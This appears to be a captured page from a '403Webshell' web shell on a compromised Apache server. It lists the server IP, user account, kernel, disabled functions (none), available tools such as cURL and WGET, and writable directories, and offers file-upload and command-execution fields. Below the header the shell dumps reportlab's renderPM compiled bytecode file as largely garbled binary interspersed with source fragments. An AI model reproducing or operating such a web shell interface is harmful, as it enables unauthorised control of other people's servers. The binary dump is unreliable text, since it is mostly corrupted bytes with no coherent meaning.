403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.216.115
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/reportlab/graphics/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/reportlab/graphics/__pycache__/renderPM.cpython-311.pyc
�

�vIc:q��4�dZdZddlTddlmZmZddlmZmZddl	m
Z
ddlmZdd	l
mZmZdd
lZdd
lZddlmZmZddlmZmZmZmZd)d
�Zeej��Zd�Zd�Zej fd�Z!ddlm"Z"Gd�de"��Z#d�Z$d�Z%d�Z&d)d�Z'dZ(Gd�d��Z)ddd
ej ejfd�Z*ddd
ej ejfd�Z+ddd
ej ejfd�Z,d ddd
ej ejfd!�Z-d ddd
ej ejfd"�Z.e-Z/d*d%�Z0e1d&kre0d'�(��d
Sd
S)+z3.3.0a$Render drawing objects in common bitmap formats

Usage::

    from reportlab.graphics import renderPM
    renderPM.drawToFile(drawing,filename,fmt='GIF',configPIL={....})

Other functions let you create a PM drawing as string or into a PM buffer.
Execute the script to see some test drawings.�)�*)�
getStateDelta�renderScaledDrawing)�getFont�
unicode2T1)�	isUnicode)�	rl_config�)�setFont�
RenderPMErrorN)�BytesIO�StringIO)�sin�cos�pi�ceilc��|stj}|dkr)	ddlm}np#t$r}t	d���d}~wwxYwd|���vr'	ddl}n3#t$r}t	d���d}~wwxYwtd|�����|S)N�	_renderPMr)rz�No module named _renderPM
it may be badly or not installed!
You may need to install development tools
or seek advice at the users list see
https://pairlist2.pair.net/mailman/listinfo/reportlab-users�cairoz�cannot import desired renderPM backend rlPyCairo
Seek advice at the users list see
https://pairlist2.pair.net/mailman/listinfo/reportlab-userszInvalid renderPM backend, )r	�renderPMBackend�reportlab.graphicsr�ImportError�lower�	rlPyCairor)�backend�M�errMsgs   �=/usr/lib/python3/dist-packages/reportlab/graphics/renderPM.py�
_getPMBackendrs����7�i�7�G�����	@�9�9�9�9�9�9�9���	@�	@�	@��?�@�@�
@�����	@����
�G�M�M�O�O�	#�	#�	@�!�!�!�!�!���	@�	@�	@��?�@�@�
@�����	@����
�B��B�B�C�C�C��Hs(��
;�6�;�A�
A8�$A3�3A8c�>�	ddlm}n#t$rddl}YnwxYw|S)Nr��Image)�PILr"rr!s r�	_getImager$2sI��������������������������Ls�	��c��|rVdtd|jz��zdzdtd|jz��zdzzdtd|jz��zzS|S)N���)�int�red�green�blue)�cs r�	Color2Hexr.9sc���h�4��C���I���&�2�-�4��C���K�8H�8H�3H�Q�2N�O�SW�X[�\_�`a�`f�\f�Xg�Xg�Sg�h�
h��H�c�p�t��}|�t|��||||���dS)z
As it says��showBoundaryN)�_PMRenderer�drawr)�drawing�canvas�x�yr2�Rs      rr4r4?s6���
�
�A��F�F��w�'�'���A�L�F�Q�Q�Q�Q�Qr/)�Rendererc�h�eZdZdZd�Zd�Zd�Zd�Zd�Zd�Z	d�Z
d	�Zd
�Zdd�Z
d
�Zd�Zd�Zd�ZdS)r3z�This draws onto a pix map image. It needs to be a class
    rather than a function, as some image-specific state tracking is
    needed outside of the state info in the SVG model.c�`�|j���|���dS�N)�_tracker�pop�
applyState��selfs rr?z_PMRenderer.popJs,���
�������������r/c��t|��}|j�|��|���dSr=)rr>�pushr@)rB�node�deltass   rrDz_PMRenderer.pushNs;���t�$�$���
���6�"�"�"��������r/c���|j���}|d|j_|d|j_|d}|�||j_|j�|d��|d|j_|d|j_|d|j_	|d}|sd}nXt|ttf��s|f}t|��d	ks"t|d
ttf��sd|f}||j_|d}|�||j_|j�|d
��|j�|d|d��dS)N�ctm�strokeWidth�
strokeOpacity�strokeColor�
strokeLineCap�strokeLineJoin�fillMode�strokeDashArray�r
r�fillOpacity�	fillColor�fontName�fontSize)r>�getState�_canvasrHrIrJ�setStrokeColor�lineCap�lineJoinrN�
isinstance�list�tuple�len�	dashArrayrQ�setFillColorr)rB�s�alpha�das    rr@z_PMRenderer.applyStateSs]���M�"�"�$�$���U�8����#$�]�#3��� ��/�"����).�D�L�&���#�#�A�m�$4�5�5�5� ��1���� !�"2� 3���� !�*�
����
� �
!���	��B�B��b�$�u��.�.�
��S���2�w�w��z�z��B�q�E�4��,�!?�!?�z���U��!#�����-� ����',�D�L�$���!�!�!�K�.�1�1�1�����Q�z�]�A�j�M�:�:�:�:�:r/c���|jjd}|jjdd�||fzx|d<|d<|j�|��|���dS)N���r��	transformrH)r>�	_combinedrV�_baseCTMrDr@)rBr7r8rFs    r�	initStatez_PMRenderer.initStatemsg����(��,��.2�l�.C�A�a�C�.H�!�A��.N�N��{��f�U�m��
���6�"�"�"��������r/c��|�|��|�|��|���dS)zEThis is the recursive method called for each node
        in the treeN)rD�drawNodeDispatcherr?)rBrEs  r�drawNodez_PMRenderer.drawNodess<��
	
�	�	�$����	
����%�%�%�	
���
�
�
�
�
r/c��|j}|j|jcxkrdkr1nn.|�|j|j|j|j��dS|�|j|j|j|j|j|j��dS)Nr)	rV�rx�ry�rectr7r8�width�height�	roundRect)rBrpr-s   r�drawRectz_PMRenderer.drawRect�s����L���7�d�g�"�"�"�"��"�"�"�"�"�
�F�F�4�6�$�&�$�*�d�k�:�:�:�:�:�
�K�K���t�v�t�z�4�;�����Q�Q�Q�Q�Qr/c�h�|j�|j|j|j|j��dSr=)rV�line�x1�y1�x2�y2)rBrvs  r�drawLinez_PMRenderer.drawLine�s,������$�'�$�'�$�'�$�'�:�:�:�:�:r/c�@�|j}t|t��rX|rtj�|��sdSt���|���d��}n(t|d��r|�d��}ndS|j	\}}|j
|j}}|�|}|�|}|j�
|j|j|||jjdkr|n%t|d��r|jn|j��||d��dS)N�RGB�convertr�tobytes�)�pathrZ�str�os�isfiler$�openr~�hasattr�sizerqrrrV�	_aapixbufr7r8�_backendr�tostring)rB�imager��im�srcW�srcH�dstW�dstHs        r�	drawImagez_PMRenderer.drawImage�s!���z���d�3���	��:�R�W�^�^�D�1�1�:�F�F����!�!�$�'�'�/�/��6�6�B�B�
�T�)�
$�
$�	����e�$�$�B�B��F��W�
��d��[�%�,�d���<����<�����������$���|�,�k�9�9���N���9�(=�(=�N�"�*�*�2�;�Q�Q��d�A�		�	�	�	�	r/c��|j}|�|j|j|j��|���dSr=)rV�circle�cx�cy�r�fillstrokepath)rBr�r-s   r�
drawCirclez_PMRenderer.drawCircle�s=���L��	�����6�9�f�h�/�/�/�	�������r/rc���|j}t|��dks
Jd���|j}|���|�|d|d��tdt|��d��D]'}|�||||dz���(|r(|���|���|�	��dS)NrPz#Polyline must have 1 or more pointsrr
)
�pointsr]rV�	pathBegin�moveTo�range�lineTo�	pathClose�pathFill�
pathStroke)rB�polyline�_doClose�Pr-�is      r�drawPolyLinez_PMRenderer.drawPolyLine�s����O���1�v�v��{�{�{�A�{�{�{��L��	���
�
�
�	����1��q��t�����q�#�a�&�&�!�$�$�	#�	#�A�
�H�H�Q�q�T�1�Q�q�S�6�"�"�"�"��	�
�K�K�M�M�M�
�J�J�L�L�L�	�������r/c��|j}|�|j|j|j|j��|���dSr=)rV�ellipser�r�rnror�)rBr�r-s   r�drawEllipsez_PMRenderer.drawEllipse�sA��
�,��	�	�	�'�*�g�j�'�*�W�Z�@�@�@�	�������r/c�4�|�|d���dS)Nr
)r�)r�)rB�polygons  r�drawPolygonz_PMRenderer.drawPolygon�s!�����'�1��-�-�-�-�-r/c	�:�|j}|j}t|dd��}|�|r�|j���}|d}|d}|d}|j}	|j}
|j}|dvrnt|	||��}|dkr|
|z}
nQ|dkr	|
|d	zz}
nB|d
kr|
t||	||||j
��z}
ntdt|��z���|j
}
||_
	|�|
||	||f���|
|_
dS#|
|_
wxYwdS)
N�textRenderModer�
textAnchorrSrT)�start�	inherited�end�middlerP�numericzbad value for textAnchor )�	_fontInfo)rVrR�getattrr>rU�textr7r8�stringWidth�
numericXShift�encoding�
ValueErrorr�r��
drawString)rB�	stringObj�canv�fillr��S�text_anchorrSrTr�r7r8�textLen�oldTextRenderModes              rr�z_PMRenderer.drawString�sf���|���~�� ��+;�A�>�>����~���
�&�&�(�(�A��L�/�K���}�H���}�H��>�D���A���A��"7�7�7�%�d�H�X�>�>����%�%���L�A�A� �(�*�*�����N�A�A� �)�+�+���{�4����R[�Rd�e�e�e�A�A�$�%@��[�AQ�AQ�%Q�R�R�R� $� 3��"0�D��
8�����!�D�H�X�3F��G�G�G�&7��#�#�#��&7��#�7�7�7�7�/�s�+D�	Dc�4��	�
��|j�
�tur]�
jd=�
jr8�
jd}|j}d|_|�|��||_n�
���dSddlm�	�
j�
j	�
j
�
jf�t�dd��}d�	�
��fd�	}�jr8|���
�
���
j�����
jdu}�
jdu}t�d	d��}|d
kr�|rC|rA|d����
�|��|���
���dS|r#|d����
�|��dS|r |���
���dSdS|d
kr=|d���|r�
�|��|r�
���dSdS|��r�
�|���
���dS)Nrdr
r)�_renderPath�	autoclose�Fc�H���������|���S)N��
forceClose)r�)r�r�r-�	drawFuncsr�s ����r�rPz _PMRenderer.drawPath.<locals>.rP�s'���
�K�K�M�M�M��;�t�Y�:�F�F�F�Fr/rN�svgTr��pdf)F)rV�
EmptyClipPath�
_clipPaths�
isClipPath�drawPath�
clipPathClear�reportlab.graphics.shapesr�r�r��curveTor�r��clipPathSet�appendrRrKr�r�)rBr�r��icpr�r�r��strokerNr�r-r�s `       @@@rr�z_PMRenderer.drawPath�s��������L���=� � ���R� ��|�
"��L��$���l�� ����
�
�a� � � �"�������!�!�!��F�9�9�9�9�9�9��X�q�x���A�K�@�	��D��R�0�0�	�	G�	G�	G�	G�	G�	G�	G�	G�	G��?�	&��B�D�D�D�
�M�M�O�O�O�
�L����%�%�%��{�$�&����d�*���4�
�2�.�.���e����

��

���d�#�#�#�#��
�
�8�$�$�$���������������
���d�#�#�#�#��
�
�8�$�$�$�$�$��
��������������
�
���
�
��B�$������
%��
�
�8�$�$�$��
���������
�
��r�t�t�
%��
�
�8�$�$�$�
�L�L�N�N�N�N�Nr/N)r)�__name__�
__module__�__qualname__�__doc__r?rDr@rirlrtr{r�r�r�r�r�r�r��r/rr3r3Es�������:�:�������
;�;�;�4������R�R�R�;�;�;����(���
�������
.�.�.�8�8�8�:/�/�/�/�/r/r3c�b�t��}|�d|j|j���S)Nr���dither�palette)r$r~�NONE�ADAPTIVE)r�r"s  r�
_convert2pilpr�s'���K�K�E�
�:�:�c�%�*�e�n�:�E�E�Er/c�,�|�d��S)N�L�r~�r�s r�
_convert2pilLr����
�:�:�c�?�?�r/c�,�|�d��S)N�1r�r�s r�
_convert2pil1r�r�r/c	�p�t|��}|j\}}t�||t	|d��r|jn|j��|j�����}t	|d��s�ttj�|��ddz|�
��zd��5}|�|��ddd��n#1swxYwYtjdkrddlm}||d�	��dSdS|�|��dS)
Nr�writer�.�wb�mac��markfilename�PICT��ext)r�r��
_pmBackend�pil2pictr�rr�r��
getpaletter�r�r��splitextrr��name�reportlab.lib.utilsr�)	r��fn�fmt�transparent�cols�rowsr`�fr�s	         r�_saveAsPICTrsc��	�r�	�	�B���J�D�$����D��'[�W�R�	�5J�5J�'[�r�z�z�PR�P[�&^�&^�_a�_d�_o�_o�_q�_q�r�r�A��2�g����
�"�'�"�"�2�&�&�q�)�#�-�c�i�i�k�k�9�$�
?�
?�	�1�
�G�G�A�J�J�J�	�	�	�	�	�	�	�	�	�	�	����	�	�	�	�
�7�E�>�>�8�8�8�8�8�8��L���'�'�'�'�'�'��>�	��������s�
C/�/C3�6C3g�OQ��?c���eZdZdddejfd�Zed%d���Zd&d�Zd�Z	d&d	�Z
d'd�Zd�Zd&d
�Z
d�Zd�Zd(d�Zd�Zd�Zd�Zd)d�Zd�Zd*d�Zd�Zd(d�Zd�Zd�Zd�Zd�Zd �Zd!�ZeZd"�Z d#�Z!d$�Z"dS)+�PMCanvas�H��Nc�@�|dz}t||zdz��}t||zdz��}|�||||��|jd<||jd<|dd|ddf|jd<g|jd<||jd<||jd	<||jd
<|j|_dS)z-configPIL dict is passed to image save methodgR@g�?�_gs�_bgrrhr��	configPIL�_dpir�N)r)�
_getGState�__dict__rhrH)rB�w�h�dpi�bgr
r�scales        r�__init__zPMCanvas.__init__ s����D�����%���������%�������#���q��2�g�>�>��
�e��!��
�e��%*�1�Q�u�Q�q�$9��
�j�!�&(��
�l�#�%.��
�k�"� #��
�f��$+��
�j�!��=����r/�RGB24c��t|��}|dkr|�|||���Sd|���vr|�||||���SdS)Nr�rr�r)r�gstater�GState)rrrrr�mods      rrzPMCanvas._getGState.sg���G�$�$���K����:�:�a��R�:�(�(�(�
��
�
���
'�
'��:�:�a��"��:�-�-�-�(�
'r/c��|�|j}||c|j_|j_dddddddd�}|j}|j|j}}|���D]}t||��||<�~|`t�
|||���x}|jd<|���D]}t||||���|�
||��dS)N)rHrIrKrXrYr^rRrr)r�_drawingrqrrrrSrT�keysr�r�rr�setattrr)	rBrrr�A�gs�fN�fS�ks	         r�_drawTimeResizezPMCanvas._drawTimeResize6s���
�:�D�H�r�45�q�1��
��T�]�1��t�4�4�\`�nr�AE�
F�
F��
�X����R�[�2�������	!�	!�A��2�a�=�=�A�a�D�D����$.�$5�$5�a��R�$5�$@�$@�@��T�]�5�
!������	!�	!�A��D��1�Q�4� � � � �
�
�
�2�b�����r/c���t���d|jj|jjf���}t|dd��pt|d��|jj��|S)Nr})r��	frombytes�
fromstring)r$�newrrqrrr��pixBuf)rBr�s  r�toPILzPMCanvas.toPILDs\��
�[�[�_�_�U�$�(�.�$�(�/�)J�_�
K�
K��	A���K��	%�	%�	A���L�)A�)A�4�8�?�S�S�S��	r/c
��|���}|�xt|t��stdt	|��z���t
j�|��d}|�d��r
|dd�}|j	pi}|�
dd��|�d��}|r||��}|���}|dvrt|��}n�|dvrq|�d��rt|��}nI|�d��rt|��}n$|�d	��rt!|��}d
}nI|dvr't#||||�dd���
��S|dvrn|dvrd}nt'd|z���|d
k�r|�dd��}|r�ddlm}m}ddgz}	t/d|�����D]
\}
}d|	|
|z<�|�d|���|�|�|	���d���ddgzdgz����fz��}d|jfdfD]\}}
|�||
��||<�|�
dd��|�d��rddlm}|�|��}|�
dd��|�d��}|r||��}|j||fi|��tA|d��s%t
j!dkrddl"m#}|||� ��dSdSdS)!Nz*Invalid value '%s' for fn when fmt is Noner
r��preConvertCB��GIF)�TIFF�TIFFP�TIFFL�TIF�TIFF1r�r�r�r2)�PCTr�r)r)�PNG�BMP�PPM)�JPG�JPEGr<zUnknown image kind %sr)�
ImageChopsr"i)r�ir&�RGBA�
resolution)zresolution unit�inch�chops_invert)r=�	preSaveCBr�r�r�r�)$r-rZr�r��asciir�r�r��
startswithr
�
setdefaultr?�upperr��endswithr�r�r�getrr#r=r"�zip�
bitmap_rgb�merge�split�invert�pointr~r�saver�r�r�r�)rBr�rr�r
r/�tcr=r"�T�or-�a�drCr�s                r�
saveToFilezPMCanvas.saveToFileIs���
�Z�Z�\�\���;��b��%�%�
[� �!M�PU�VX�PY�PY�!Y�Z�Z�Z��'�"�"�2�&�&�q�)�C��~�~�c�"�"�1�#�a�b�b�'�C��N�(�b�	����^�D�1�1�1��]�]�>�2�2���	"���b�!�!�B��i�i�k�k���(�?�?��r�"�"�B�B�
�:�
:�
:��|�|�C� � �
'�"�2�&�&������c�"�"�
'�"�2�&�&������c�"�"�
'�"�2�&�&���C�C�
�N�
"�
"��r�"�S�Y�]�]�=�QU�5V�5V�W�W�W�W�
�(�
(�
(��
�N�
"�
"��C�C�� 7�#� =�>�>�>���;�;����}�T�2�2�B��
y�1�1�1�1�1�1�1�1����G����R�]�]�_�_�=�=�!�!�D�A�q� �A�a��c�F�F��[�[�������Z�5F�5F�r�x�x�PQ�{�{�GZ�GZ�[^�G_�G_�Ge�Ge�fi�kl�jm�fm�or�ns�fs�Gt�Gt�5u�5u�4w�)w�x�x��$�T�Y�/�0J�J�
2�
2���!�(�}�}�Q�q�1�1�	�!������^�A�.�.�.��=�=��(�(�	'�&�&�&�&�&�&��"�"�2�&�&�B����[��.�.�.��-�-��,�,�	��	���2���B�����3�#�#��#�#�#��r�'�"�"�	%�r�w��~�~�8�8�8�8�8�8��L���$�$�$�$�$�$�	%�	%�~�~r/r1c�t�t��}|�||���|���S)Nr)r
rV�getvalue)rBrr`s   r�saveToStringzPMCanvas.saveToString�s/���I�I������c��"�"�"��z�z�|�|�r/c��ddl}|j}|j|j|j}}}|�|�ddt|��dzddd||dd�
�
��|d	z}tt|��d|��D]"}|�|||z
|����#|�d
��dS)z�
        Niki Spahiev, <niki@vintech.bg>, asserts that this is a respectable way to get BMP without PIL
        f is a file like object to which the BMP is written
        rNz=2sLLLLLLhh24x�BM�6�(r
�r�z)	�structrr,rqrrr��packr]r�)	rBrr_r#�pixrqrr�rowbrSs	         r�
_saveToBMPzPMCanvas._saveToBMP�s���
	�
�
�
�
�X���Y���"�)�F�U��	������,�T�#�c�(�(�2�+�a��2�e�F�ST�UW�X�X�Y�Y�Y��q�y���s�3�x�x��4�%�(�(�	#�	#�A�
�G�G�C��$��q��M�"�"�"�"�	��������r/c�2�t|j||��dSr=)�_setFontr)rBrSrT�leadings    rrzPMCanvas.setFont�s�����(�8�,�,�,�,�,r/c�2�t|j||��dSr=)r!r)rBr��values   r�__setattr__zPMCanvas.__setattr__�s������e�$�$�$�$�$r/c�,�t|j|��Sr=)r�r)rBr�s  r�__getattr__zPMCanvas.__getattr__�s���t�x��%�%�%r/r
c�b�|r|���|r|���dSdSr=)r�r�)rBr�r�s   rr�zPMCanvas.fillstrokepath�s5��� ��������$�4�?�?�$�$�$�$�$�$�$r/c�P�t||z
��dksJ�tt|zdz��}tt|zdz��}|||zz}	|||zz}
tt|zdz��}tt|zdz��}|||zz}
|||zz}||z}||z}t||z
zdz}tddt|��z
zt|��z��}|	||zz}|
||zz}||z}||z}|
||zz
}|||zz
}|	|
f||f||f|
|fffS)a-compute the control points for a bezier arc with theta1-theta0 <= 90.
        Points are computed for an arc with angle theta increasing in the
        counter-clockwise (CCW) direction.  returns a tuple with starting point
        and 3 control points of a cubic bezier curve for the curvto opertator�Zg�f@g�v@gUUUUUU�?g�?)�absrrr)rBr�r�rnro�theta0�theta1�cos0�sin0�x0�y0�cos1�sin1�x3�y3�dx1�dy1�halfAngr&rwrx�dx2�dy2ryrzs                         r�_bezierArcSegmentCCWzPMCanvas._bezierArcSegmentCCW�sd���6�F�?�#�#�r�)�)�)�)��2�f�9�U�?�#�#���2�f�9�U�?�#�#��
�"�T�'�\��
�"�T�'�\���2�f�9�U�?�#�#���2�f�9�U�?�#�#��
�"�T�'�\��
�"�T�'�\���c�D�j���4�i���f�V�m�$�k�2���	�S�3�w�<�<�/�1�C��L�L�A�C�C��
�#��'�\��
�#��'�\���c�D�j���4�i��
�#��'�\��
�#��'�\���B��2�b�'�B�r�7�R��G�4�6�6r/c	�$�||z
}t|��dkr||fg}nvttt|��dz����}	t|��|	z}
g}t	|	��D]&}|||
zz}||
z}
|�||
f���'g}|D]r\}}
|s6|�||||||
��\\}}}|�|���=|�||||||
��\\}}}|�|���s||f|fS)z�return a set of control points for Bezier approximation to an arc
        with angle increasing counter clockwise. No requirement on (theta1-theta0) <= 90
        However, it must be true that theta1-theta0 > 0.g�V@)ror)r�floatr�r�r)rBr�r�rnrorprq�
angularExtent�	angleList�Nfrag�	fragAngle�iirT�b�ctrlptsrtru�pts�tmpx�tmpys                    r�bezierArcCCWzPMCanvas.bezierArcCCW�sR�����
��}����%�%� ���)�I�I���s�=�1�1�#�5�6�6�8�8�E��m�,�,�e�3�I��I��E�l�l�
(�
(���R�)�^�+���	�M��� � �!�A��'�'�'�'����	$�	$�E�Q�q��
$�!%�!:�!:�2�b�"�R��1�!M�!M���"�R�#����s�#�#�#�#�%)�%>�%>�r�"�b��Q�q�%Q�%Q�"��$�t�c����s�#�#�#�#��B���!�!r/c	���|�||||||��\\}}}	|�||��|	D])\\}
}\}}
\}}|�|
|||
||���*dS)z�adds an ellisesoidal arc segment to a path, with an ellipse centered
        on cx,cy and with radii (major & minor axes) rx and ry.  The arc is
        drawn in the CCW direction.  Requires: (ang2-ang1) > 0N)r�r�r�)rBr�r�rnro�ang1�ang2rtrur�rwrxryrzrxrys                r�addEllipsoidalArczPMCanvas.addEllipsoidalArc�s���
"�.�.�r�"�b��D��F�F���"�R�'����B�r����*1�	,�	,�&�W�b��g�r�"�g�r�"��L�L��B�r�"�R��+�+�+�+�	,�	,r/r�c�8�|�||||���dS)N�r��r�)rBr7r8r�r�s     r�drawCentredStringzPMCanvas.drawCentredString�s"������!�D�k��:�:�:�:�:r/c�8�|�|||d���dS)Nr�r�r�)rBr�r7r8s    r�drawRightStringzPMCanvas.drawRightString�s"������Q�q�U��3�3�3�3�3r/�leftc��|j}|j}|j}|r|||fkr|\}	}
t||	|
��n|}	|}
	|dvrHt	||	|
��}|dkr||z}n+|dkr	||dzz}n|dkr|t||||	|
��z}|jdkr|�|||���nt|	��}|j	r|�|||���nP|}
t|��s�	|�d��}nr#t$re}|j
dd	�\}}t|j
dd	�|j
d	�d
||dz
|��d|||��d
|||dz���fz��d}~wwxYwt||g|jz��}t!|��}|dz
}t#|��D]y}||\}}||
krt||j|
��|}
|�|||��||kr1||�|�|j��|
��z
}�z|�||��dS#|�||��wxYw)N)r�r�r�r�r�g@r�r�utf8rPre�
�
z-->z<--r
)rrTrSrer�r�r�r�r�_dynamicFontr�decode�UnicodeDecodeError�argsr�substitutionFontsr]r��encNamer)rBr7r8r�r�r�r#�gs_fontSize�gs_fontNamerSrTr��font�fc�er��j�FT�n�nm1r�ts                      rr�zPMCanvas.drawString�s��
�X���k���k���	#��[��$=�=�=�!*��H�h��R���*�*�*�*�"�H�"�H�%	0��5�5�5�%�d�H�X�>�>����%�%���L�A�A� �(�*�*�����O�A�A� �)�+�+���{�4����R�R�R�A��}�k�)�)��
�
�a��$�'�'�'�'��x�(�(���$�M��M�M�!�A�d�+�+�+�+��B�$�T�?�?�L�L�#'�;�;�v�#6�#6�D�D��1�L�L�L�"#�&��1��+�C�A�a�"4�q�v�b�q�b�z�YZ�Y_�`a�Yb�Yb�Yb�cg�hi�jl�hl�mn�hn�co�co�co�pt�uv�wx�ux�py�py�py�z~�@A�BC�DF�BF�@F�{G�{G�DH�CJ�8J�#L�L�����L����$�D�$���0F�)F�G�G�B��B���A��A�#�C�"�1�X�X�M�M��!�!�u���1��b�5�5�$�R��
�8�<�<�<�!"�B��
�
�a��!�,�,�,��c�6�6�����q�x�x��	�/B�/B�8�!L�!L�L�A���J�J�{�;�/�/�/�/�/��B�J�J�{�;�/�/�/�/���s2�B0I�-D�I�
E2�
A E-�-E2�2B9I�Ic��|j�V|���|�||��|�||��|���dSdSr=)rKr�r�r�r�)rBrwrxryrzs     rrvz
PMCanvas.line%sa����'��N�N�����K�K��2�����K�K��2�����O�O������	(�'r/c�L�|���|�||��|�||z|��|�||z||z��|�|||z��|���|�||���dS)N)r�r�)r�r�r�r�r�)rBr7r8rqrrr�r�s       rrpz
PMCanvas.rect,s������������A�q�������A�e�G�Q�������A�e�G�Q��Z�(�(�(����A�q�6�z�"�"�"����������6�t��4�4�4�4�4r/c���|dkr|}|dkr|}||z}||z}|���|�||z|��|�||z
||z||dd��|�||z
||z
||dd��|�||z||z
||dd��|�||z||z||dd��|���|���dS)z�rect(self, x, y, width, height, rx,ry):
        Draw a rectangle if rx or rx and ry are specified the corners are
        rounded with ellipsoidal arcs determined by rx and ry
        (drawn in the counter-clockwise direction)riihrn�N)r�r�r�r�r�)	rBr7r8rqrrrnroryrzs	         rrszPMCanvas.roundRect5s��
�q�5�5�r�"�
�q�5�5�r�"�
��Y��
��Z�����������A�b�D��������r�"�u�a��d�B��C��>�>�>����r�"�u�b��e�R��Q��;�;�;����q��t�R��U�B��B��<�<�<����q��t�Q�r�T�2�r�3��=�=�=��������������r/c�6�|�||||��dS)zRadd closed path circle with center cx,cy and axes r: counter-clockwise orientationN)r�)rBr�r�r�s    rr�zPMCanvas.circleGs �����R��1�Q�����r/c���|���||z}|}|}||z
}||z}	||tzz
}
||tzz}|}|�||��|�|	|
||||��|}|}||z
}|}||tzz
}	||z
}
|}||tzz
}|�|	|
||||��|}|}|}||z}||z
}	||tzz}
||tzz
}||z}|�|	|
||||��|}|}||z}|}||tzz}	||z}
||z}||tzz}|�|	|
||||��|���dS)z�add closed path ellipse with center cx,cy and axes rx,ry: counter-clockwise orientation
        (remember y-axis increases downward) N)r��BEZIER_ARC_MAGICr�r�r�)
rBr�r�rnrortrurxryrwrxryrzs
             rr�zPMCanvas.ellipseKs���	
������
�"�W��
��
��
��U��
��U��
��#�#�
#��
�"�%�%�
%��
�����B��������R��2�b��B�'�'�'�
��
��
��U��
��
��#�#�
#��
��U��
��
��$�$�
$�����R��2�b��B�'�'�'�
��
��
��
��U��
��U��
��#�#�
#��
��$�$�
$��
��U�����R��2�b��B�'�'�'�
��
��
��U��
��
��#�#�
#��
��U��
��U��
��#�#�
#�����R��2�b��B�'�'�'��������r/c��dS)zdo nothing for compatibilityNr�rAs r�	saveStatezPMCanvas.saveState�s���r/c�f�t|��|_t|dd��}|�	||_dSdS�Nra)r.rRr�rQ�rB�aColorras   rr_zPMCanvas.setFillColor�s>��"�6�*�*�����w�t�,�,����$�D�����r/c�f�t|��|_t|dd��}|�	||_dSdSr�)r.rKr�rJr�s   rrWzPMCanvas.setStrokeColor�s?��$�V�,�,�����w�t�,�,����!&�D�����r/c��||_dSr=)rX)rB�caps  r�
setLineCapzPMCanvas.setLineCap�s
������r/c��||_dSr=)rY)rB�joins  r�setLineJoinzPMCanvas.setLineJoin�s
����
�
�
r/c��||_dSr=)rI)rBrqs  r�setLineWidthzPMCanvas.setLineWidth�s�� ����r/)Nrr=r0)r
r
)r�)Nr�)#r�r�r�r	rr�staticmethodrr'r-rVrYrcrrirkr�rr�r�r�r�r�rvrprsr�r�r�r_rW�restoreStater�r�r�r�r/rrrs
������ �H�t�I�D]�!�!�!�!��.�.�.��\�.��������
6%�6%�6%�6%�p����
���-�-�-�-�%�%�%�&�&�&�%�%�%�%�!7�!7�!7�F"�"�"�<	,�	,�	,�;�;�;�;�4�4�4�00�00�00�00�d���5�5�5�5����$ � � �9�9�9�v
�
�
�%�%�%�'�'�'��L�������!�!�!�!�!r/rrr	c��t|��}t|j|j||||���}t	||dd|���|S)N)rrr
rrr1)rrrqrrr4)rUrrr
r2rr-s       r�drawToPMCanvasr��sL���A���A����!�(���i�QX�Y�Y�Y�A���A�q�!�,�/�/�/�/��Hr/c�P�t||||||������S)N�rrr
r2r)r�r-)rUrrr
r2rs      r�	drawToPILr��s*���!���y�|�el�m�m�m�s�s�u�u�ur/c��t��}t||||||���}|�d|j|j���S)Nr�r�r�)r$r�r~r�r�)rUrrr
r2rr"r�s        r�
drawToPILPr��sB���K�K�E�	�1�#�"�	��]d�	e�	e�	e�B�
�:�:�c�%�*�e�n�:�E�E�Er/r1c�\�t||||||���}|�||��dS)zocreate a pixmap and draw drawing, d to it then save as a file
    configPIL dict is passed to image save methodr�N)r�rV)	rUr�rrrr
r2rr-s	         r�
drawToFiler��s9��	�q�c�b�I�L�ah�i�i�i�A��L�L��C�����r/c	�r�t��}t|||||||���|���S)N)rrrr
r)r
r�rX)rUrrrr
r2rr`s        r�drawToStringr��s6���	�	�A��q��s���i��P�P�P�P��:�:�<�<�r/�pmoutFc	������ �d�}ddl}ddlm}ddlm� |j}g}|j�|��s|j|��d}d}|g}	i}
tj
dd�}d�|D��}|sgd	�}nL|D]}
|�|
���d
�d�|D�����
d
��}g�ddl�ddlm������ fd
�}|t#t$d�����D�]Z\}}}|
�|d��dzx}|
|<|dkr|d|dz
zz
}|r||vr�=|}t)|j��}t)|j��}|	�d|�d|�d���|D�]x}|dvr*|	�d|���z��	|�d||����}|j�||��}|j�|��r|j|��|dkrddlm}t9|||d|i���n1|dvr|�ddg||���nt9|||���|d vr|	�d!|z��n=|dkr|	�d"|z��n|dkr|	�d#|z���s� d$krt=d%t?|��z����]#t@$r|||��Y��vwxYw|j!�"d&d'��d(kr
d|j#d)<d*D]/}	|�|g||����#|||��Y�-xYw��\�rI|	d�$d+d,��|	d<|	�d-��|	�%���|	�|��|j�|d.��}tM|d/��5}|�'|	��ddd��n#1swxYwYtj(d0krdd1l)m*}||d2�3���s� d$krt=d%|z��dSdS)4Nc��|dkrd}|S)N�tiff�tifr�)r7s rr�ztest.<locals>.ext�s���f�9�9��a��r/r)�
testshapes)�verbosezq<html><head><title>renderPM output results</title></head>
    <body>
    <h1>renderPM results of output</h1>
    z</body>
    </html>
    r
c�<�g|]}|�d���|��S)z--ext=)rE��.0rTs  r�
<listcomp>ztest.<locals>.<listcomp>�s)��3�3�3�q�A�L�L��2�2�3��3�3�3r/)�gifr��png�jpg�pct�pyr��,c�"�g|]}|dd���
S)�Nr�r�s  rr�ztest.<locals>.<listcomp>�s ��(�(�(��q����u�(�(�(r/)�escapec�&��d|�d|�d�}�s�dkrt|����d|z��t��}��|�����d�|�����z��dS)NzProblem drawing z fmt=z filerPz"<br/><h2 style="color:red">%s</h2>)�filez
